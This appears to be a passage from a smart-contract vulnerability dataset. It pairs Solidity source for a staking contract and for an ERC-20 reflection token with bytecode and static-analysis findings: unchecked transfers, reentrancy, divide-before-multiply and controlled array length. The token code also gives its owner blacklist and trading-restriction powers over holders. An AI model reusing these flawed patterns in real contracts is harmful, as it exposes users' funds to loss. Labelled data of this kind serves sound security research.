User memory currentUser = users[usersList[p]];
uint amount = 0;
for(uint q = 0; q < currentUser.contributions.length; q++){
if(now > currentUser.contributions[q].time + 90 days){
amount = amount.add(currentUser.contributions[q].amount);
}
}
if(amount >= 500 * (10 ** 18)){ //TODO
uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited);
require(address(this).balance >= EthToSend);
currentUser.user.transfer(EthToSend);
}
p++;
}
indexOfEthSent = p;
}
event MultiSendComplete(bool status);
function MultiSendTokenComplete() public onlyOwner {
indexOfPayee = 0;
emit MultiSendComplete(true);
}
event Withdrawn(address withdrawnTo, uint amount);
function WithdrawTokens(uint _value) public {
require(_value > 0);
User storage user = users[msg.sender];
for(uint q = 0; q < user.contributions.length; q++){
if(now > user.contributions[q].time + 1 weeks){
user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.add(user.contributions[q].amount);
}
}
require(_value <= user.amountAvailableToWithdraw);
require(token.balanceOf(address(this)) >= _value);
user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.sub(_value);
user.totalAmount = user.totalAmount.sub(_value);
user.withdrawCount = user.withdrawCount.add(1);
totalTokensDeposited = totalTokensDeposited.sub(_value);
token.transfer(msg.sender, _value);
stakeContractBalance = token.balanceOf(address(this));
emit Withdrawn(msg.sender, _value);
}
function() public payable{
}
function WithdrawETH(uint amount) public onlyOwner{
require(amount > 0);
require(address(this).balance >= amount * 1 ether);
msg.sender.transfer(amount * 1 ether);
}
function CheckAllowance() public view returns(uint){
uint allowance = token.allowance(msg.sender, address(this));
return allowance;
}
function GetBonusReceived() public view returns(uint){
User memory user = users[msg.sender];
return user.totalBonusReceived;
}
function GetContributionsCount() public view returns(uint){
User memory user = users[msg.sender];
return user.contributions.length;
}
function GetWithdrawCount() public view returns(uint){
User memory user = users[msg.sender];
return user.withdrawCount;
}
function GetLockedTokens() public view returns(uint){
User memory user = users[msg.sender];
uint i;
uint lockedTokens = 0;
for(i = 0; i < user.contributions.length; i++){
if(now < user.contributions[i].time + 24 hours){
lockedTokens = lockedTokens.add(user.contributions[i].amount);
}
}
return lockedTokens;
}
function ReturnTokens(address destination, address account, uint amount) public onlyOwner{
ERC20(destination).transfer(account,amount);
}
}
|
0x60806040526004361061015e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630f149cce8114610160578063162bc80c14610189578063195d21a5146101a15780631ddb52c3146101c85780633a366861146101dd5780633d0c037c146101f257806343ddf9b1146102075780634898ef5f1461021c5780634d6ce1e514610231578063531ec3a0146102495780635a41ae40146102635780635af123f4146102785780636293e9ed1461028d5780638c1f0885146102a25780638d37f270146102b757806394effa14146102cc5780639d0981b2146102e4578063a1837d21146102fc578063a87430ba14610314578063aa654e4514610372578063c1486b0714610387578063cf64a68f146103b1578063d9ac8ed3146103c6578063da4a48f9146103db578063ed2ff839146103f0578063f285329214610405578063fc0c546a14610426575b005b34801561016c57600080fd5b50610175610457565b604080519115158252519081900360200190f35b34801561019557600080fd5b5061015e600435610460565b3480156101ad57600080fd5b506101b6610760565b60408051918252519081900360200190f35b3480156101d457600080fd5b506101b661083a565b3480156101e957600080fd5b506101b6610840565b3480156101fe57600080fd5b5061015e610846565b34801561021357600080fd5b5061015e610bb5565b34801561022857600080fd5b5061015e610e0f565b34801561023d57600080fd5b506101756004356110bc565b34801561025557600080fd5b5061015e60043515156113e8565b34801561026f57600080fd5b506101b6611412565b34801561028457600080fd5b506101b66114ed565b34801561029957600080fd5b506101b66114f3565b3480156102ae57600080fd5b506101b66114f9565b3480156102c357600080fd5b5061015e6115d3565b3480156102d857600080fd5b5061015e60043561181f565b3480156102f057600080fd5b5061015e600435611895565b34801561030857600080fd5b5061015e600435611979565b34801561032057600080fd5b50610335600160a060020a03600435166119d8565b60408051600160a060020a0390971687526020870195909552921515858501526060850191909152608084015260a0830152519081900360c00190f35b34801561037e57600080fd5b506101b6611a1e565b34801561039357600080fd5b5061015e600160a060020a0360043581169060243516604435611a24565b3480156103bd57600080fd5b506101b6611ae8565b3480156103d257600080fd5b5061015e611c41565b3480156103e757600080fd5b506101b6611c93565b3480156103fc57600080fd5b506101b6611d30565b34801561041157600080fd5b5061015e600160a060020a0360043516611d36565b34801561043257600080fd5b5061043b611dde565b60408051600160a060020a039092168252519081900360200190f35b600a5460ff1681565b60008080831161046f57600080fd5b5050336000908152600160205260408120905b6006820154811015610500576006820180548290811061049e57fe5b90600052602060002090600202016001015462093a80014211156104f8576104f282600601828154811015156104d057fe5b600091825260209091206002909102015460018401549063ffffffff611ded16565b60018301555b600101610482565b600182015483111561051157600080fd5b600080546040805160e060020a6370a0823102815230600482015290518693600160a060020a03909316926370a0823192602480820193602093909283900390910190829087803b15801561056557600080fd5b505af1158015610579573d6000803e3d6000fd5b505050506040513d602081101561058f57600080fd5b5051101561059c57600080fd5b60018201546105b1908463ffffffff611e0716565b600183015560038201546105cb908463ffffffff611e0716565b600383015560058201546105e690600163ffffffff611ded16565b60058301556004546105fe908463ffffffff611e0716565b600490815560008054604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233948101949094526024840187905251600160a060020a039091169263a9059cbb9260448083019360209390929083900390910190829087803b15801561067457600080fd5b505af1158015610688573d6000803e3d6000fd5b505050506040513d602081101561069e57600080fd5b5050600080546040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401936020939083900390910190829087803b1580156106f157600080fd5b505af1158015610705573d6000803e3d6000fd5b505050506040513d602081101561071b57600080fd5b5051600755604080513381526020810185905281517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5929181900390910190a1505050565b600061076a611e5b565b336000908152600160208181526040808420815160e0810183528154600160a060020a031681529381015484840152600281015460ff161515848301526003810154606085015260048101546080850152600581015460a08501526006810180548351818602810186019094528084529495919460c08701949192909184015b828210156108295760008481526020908190206040805180820190915260028502909101805482526001908101548284015290835290920191016107ea565b5050509152505060a0015192915050565b60045481565b60075481565b6003546000908190819081908190600160a060020a0316331461086857600080fd5b60055494505b60025485108015610881575062015f905a115b15610b19576001600060028781548110151561089957fe5b6000918252602080832090910154600160a060020a031683528201929092526040018120945092508291505b600684015482101561096f57600684018054839081106108e157fe5b906000526020600020906002020160010154610e10014211801561092a57506006840180548390811061091057fe5b9060005260206000209060020201600101546276a7000142105b1561096457610961846006018381548110151561094357fe5b6000918252602090912060029091020154849063ffffffff611ded16565b92505b6001909101906108c5565b681b1ae4d6e2ef5000008310610b0e576109b860736109ac620f42406109a060085488611e1990919063ffffffff16565b9063ffffffff611e4416565b9063ffffffff611e1916565b600080546040805160e060020a6370a0823102815230600482015290519394508493600160a060020a03909216926370a08231926024808401936020939083900390910190829087803b158015610a0e57600080fd5b505af1158015610a22573d6000803e3d6000fd5b505050506040513d6020811015610a3857600080fd5b50511015610a4557600080fd5b6004840154610a5a908263ffffffff611ded16565b600480860191909155600080548654604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831695810195909552602485018690525191169263a9059cbb9260448083019360209390929083900390910190829087803b158015610ad757600080fd5b505af1158015610aeb573d6000803e3d6000fd5b505050506040513d6020811015610b0157600080fd5b50511515610b0e57600080fd5b60019094019361086e565b6005859055600254851415610b2e5760006005555b600080546040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401936020939083900390910190829087803b158015610b7f57600080fd5b505af1158015610b93573d6000803e3d6000fd5b505050506040513d6020811015610ba957600080fd5b50516007555050505050565b6000610bbf611e5b565b60035460009081908190600160a060020a03163314610bdd57600080fd5b600654600010610bec57600080fd5b600754600010610bfb57600080fd5b60095494505b60025485108015610c14575062015f905a115b15610e035760016000600287815481101515610c2c57fe5b6000918252602080832090910154600160a060020a0390811684528382019490945260409283018220835160e08101855281549095168552600181015485830152600281015460ff161515858501526003810154606086015260048101546080860152600581015460a0860152600681018054855181850281018501909652808652919460c0870194909391929184015b82821015610cfc576000848152602090819020604080518082019091526002850290910180548252600190810154828401529083529092019101610cbd565b5050505081525050935060009250600091505b8360c0015151821015610d825760c0840151805183908110610d2d57fe5b90602001906020020151602001516276a70001421115610d7757610d748460c0015183815181101515610d5c57fe5b6020908102909101015151849063ffffffff611ded16565b92505b600190910190610d0f565b681b1ae4d6e2ef5000008310610df857610dad6004546109a085600654611e1990919063ffffffff16565b90503031811115610dbd57600080fd5b8351604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610df6573d6000803e3d6000fd5b505b600190940193610c01565b50505060099190915550565b6003546000908190819081908190600160a060020a03163314610e3157600080fd5b60055494505b60025485108015610e4a575062015f905a115b15610b195760016000600287815481101515610e6257fe5b6000918252602080832090910154600160a060020a031683528201929092526040018120945092508291505b6006840154821015610f1a5760068401805483908110610eaa57fe5b906000526020600020906002020160010154610e100142118015610ef3575060068401805483908110610ed957fe5b9060005260206000209060020201600101546276a7000142105b15610f0f57610f0c846006018381548110151561094357fe5b92505b600190910190610e8e565b68056bc75e2d631000008310158015610f3b5750681b1ae4d6e2ef50000083105b156110b157610f5b6127106109a060085486611e1990919063ffffffff16565b600080546040805160e060020a6370a0823102815230600482015290519394508493600160a060020a03909216926370a08231926024808401936020939083900390910190829087803b158015610fb157600080fd5b505af1158015610fc5573d6000803e3d6000fd5b505050506040513d6020811015610fdb57600080fd5b50511015610fe857600080fd5b6004840154610ffd908263ffffffff611ded16565b600480860191909155600080548654604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831695810195909552602485018690525191169263a9059cbb9260448083019360209390929083900390910190829087803b15801561107a57600080fd5b505af115801561108e573d6000803e3d6000fd5b505050506040513d60208110156110a457600080fd5b505115156110b157600080fd5b600190940193610e37565b600a54600090819060ff1615156110d257600080fd5b68056bc75e2d631000008310156110e857600080fd5b60008054604080517fdd62ed3e00000000000000000000000000000000000000000000000000000000815233600482015230602482015290518693600160a060020a039093169263dd62ed3e92604480820193602093909283900390910190829087803b15801561115857600080fd5b505af115801561116c573d6000803e3d6000fd5b505050506040513d602081101561118257600080fd5b5051101561118f57600080fd5b50336000908152600160205260409020600281015460ff16151561121757600280546001808201835560008390527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace90910180543373ffffffffffffffffffffffffffffffffffffffff199182168117909255845416178355908201805460ff191690911790555b600381015461122c908463ffffffff611ded16565b6003820155600454611244908463ffffffff611ded16565b60049081556040805180820182528581524260208083019182526006860180546001818101835560009283528383209551600290920290950190815592519290930191909155815483517f23b872dd0000000000000000000000000000000000000000000000000000000081523395810195909552306024860152604485018890529251600160a060020a03909316936323b872dd9360648083019491928390030190829087803b1580156112f857600080fd5b505af115801561130c573d6000803e3d6000fd5b505050506040513d602081101561132257600080fd5b5050600080546040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401936020939083900390910190829087803b15801561137557600080fd5b505af1158015611389573d6000803e3d6000fd5b505050506040513d602081101561139f57600080fd5b5051600755604080513381526020810185905281517f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4929181900390910190a150600192915050565b600354600160a060020a031633146113ff57600080fd5b600a805460ff1916911515919091179055565b600061141c611e5b565b336000908152600160208181526040808420815160e0810183528154600160a060020a031681529381015484840152600281015460ff161515848301526003810154606085015260048101546080850152600581015460a08501526006810180548351818602810186019094528084529495919460c08701949192909184015b828210156114db57600084815260209081902060408051808201909152600285029091018054825260019081015482840152908352909201910161149c565b5050509152505060c001515192915050565b60085481565b60055481565b6000611503611e5b565b336000908152600160208181526040808420815160e0810183528154600160a060020a031681529381015484840152600281015460ff161515848301526003810154606085015260048101546080850152600581015460a08501526006810180548351818602810186019094528084529495919460c08701949192909184015b828210156115c2576000848152602090819020604080518082019091526002850290910180548252600190810154828401529083529092019101611583565b505050915250506080015192915050565b60006115dd611e5b565b60035460009081908190600160a060020a031633146115fb57600080fd5b60065460001061160a57600080fd5b60075460001061161957600080fd5b60095494505b60025485108015611632575062015f905a115b15610e03576001600060028781548110151561164a57fe5b6000918252602080832090910154600160a060020a0390811684528382019490945260409283018220835160e08101855281549095168552600181015485830152600281015460ff161515858501526003810154606086015260048101546080860152600581015460a0860152600681018054855181850281018501909652808652919460c0870194909391929184015b8282101561171a5760008481526020908190206040805180820190915260028502909101805482526001908101548284015290835290920191016116db565b5050505081525050935060009250600091505b8360c00151518210156117885760c084015180518390811061174b57fe5b90602001906020020151602001516276a7000142111561177d5761177a8460c0015183815181101515610d5c57fe5b92505b60019091019061172d565b68056bc75e2d6310000083101580156117a95750681b1ae4d6e2ef50000083105b15611814576117c96004546109a085600654611e1990919063ffffffff16565b905030318111156117d957600080fd5b8351604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015611812573d6000803e3d6000fd5b505b60019094019361161f565b600354600160a060020a0316331461183657600080fd5b6000811161184357600080fd5b670de0b6b3a764000081023031101561185b57600080fd5b6040513390670de0b6b3a7640000830280156108fc02916000818181858888f19350505050158015611891573d6000803e3d6000fd5b5050565b600354600160a060020a031633146118ac57600080fd5b600081116118b957600080fd5b6006819055600080546040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401936020939083900390910190829087803b15801561190f57600080fd5b505af1158015611923573d6000803e3d6000fd5b505050506040513d602081101561193957600080fd5b505160075560006009556040805182815290517f4d781ca03831c78ea41d2e0deead5994468c3d86eb8809b9fb1694c3ccd3a7e39181900360200190a150565b600354600160a060020a0316331461199057600080fd5b6000811161199d57600080fd5b60088190556040805182815290517f3004fd9893f9a32bdc520978802cadc651d89c5d9a6235f3080819aa599903b89181900360200190a150565b6001602081905260009182526040909120805491810154600282015460038301546004840154600590940154600160a060020a0390951694929360ff9092169290919086565b60095481565b600354600160a060020a03163314611a3b57600080fd5b82600160a060020a031663a9059cbb83836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015611ab757600080fd5b505af1158015611acb573d6000803e3d6000fd5b505050506040513d6020811015611ae157600080fd5b5050505050565b6000611af2611e5b565b336000908152600160208181526040808420815160e0810183528154600160a060020a031681529381015484840152600281015460ff161515848301526003810154606085015260048101546080850152600581015460a0850152600681018054835181860281018601909452808452869594929360c086019390929190879084015b82821015611bb4576000848152602090819020604080518082019091526002850290910180548252600190810154828401529083529092019101611b75565b5050505081525050925060009050600091505b8260c0015151821015611c3a5760c0830151805183908110611be557fe5b90602001906020020151602001516201518001421015611c2f57611c2c8360c0015183815181101515611c1457fe5b6020908102909101015151829063ffffffff611ded16565b90505b600190910190611bc7565b9392505050565b600354600160a060020a03163314611c5857600080fd5b6000600555604080516001815290517fdd42ab3c7fddbbfad972d3e5a7227a63f8aac2f2338ed6cfbef04b5e7545a50c9181900360200190a1565b60008054604080517fdd62ed3e00000000000000000000000000000000000000000000000000000000815233600482015230602482015290518392600160a060020a03169163dd62ed3e91604480830192602092919082900301818787803b158015611cfe57600080fd5b505af1158015611d12573d6000803e3d6000fd5b505050506040513d6020811015611d2857600080fd5b505192915050565b60065481565b600354600160a060020a03163314611d4d57600080fd5b600160a060020a0381161515611d6257600080fd5b600354600160a060020a0382811691161415611d7d57600080fd5b60038054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517fa2ea9883a321a3e97b8266c2b078bfeec6d50c711ed71f874a90d500ae2eaf369181900360200190a150565b600054600160a060020a031681565b600082820183811015611dfc57fe5b8091505b5092915050565b600082821115611e1357fe5b50900390565b600080831515611e2c5760009150611e00565b50828202828482811515611e3c57fe5b0414611dfc57fe5b6000808284811515611e5257fe5b04949350505050565b60e0604051908101604052806000600160a060020a03168152602001600081526020016000151581526020016000815260200160008152602001600081526020016060815250905600a165627a7a72305820a8c5feebd10cfed2d6b29f5b55c3ea79358a26d07475063789d636598fb44c160029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,755 |
0xd4718453492c9524a4c6bcefc46cceb6cea868ff
|
/*
.....%%%%....%%%%...%%%%%%..%%..%%..........%%..%%...%%%%...%%%%%...%%........
....%%......%%..%%..%%......%%..%%..........%%..%%..%%..%%..%%..%%..%%........
.....%%%%...%%%%%%..%%%%....%%..%%..........%%%%%%..%%..%%..%%..%%..%%........
........%%..%%..%%..%%......%%..%%..........%%..%%..%%..%%..%%..%%..%%........
.....%%%%...%%..%%..%%.......%%%%...........%%..%%...%%%%...%%%%%...%%%%%%....
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SafuHODL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Safu HODL";
string private constant _symbol = "SHODL";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _teamFee = 6;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _buybackWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable teamAddr, address payable buybackAddr) {
_teamAddress = teamAddr;
_buybackWallet = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_buybackWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_teamFee = 6;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(6).div(10));
_buybackWallet.transfer(amount.mul(4).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, 2, 10);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f02565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a25565b61045e565b6040516101789190612ee7565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a4565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d6565b61048d565b6040516101e09190612ee7565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612948565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613119565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa2565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612948565b610783565b6040516102b191906130a4565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e19565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f02565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a25565b61098d565b60405161035b9190612ee7565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a61565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af4565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299a565b61121a565b60405161041891906130a4565b60405180910390f35b60606040518060400160405280600981526020017f5361667520484f444c0000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137dd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffff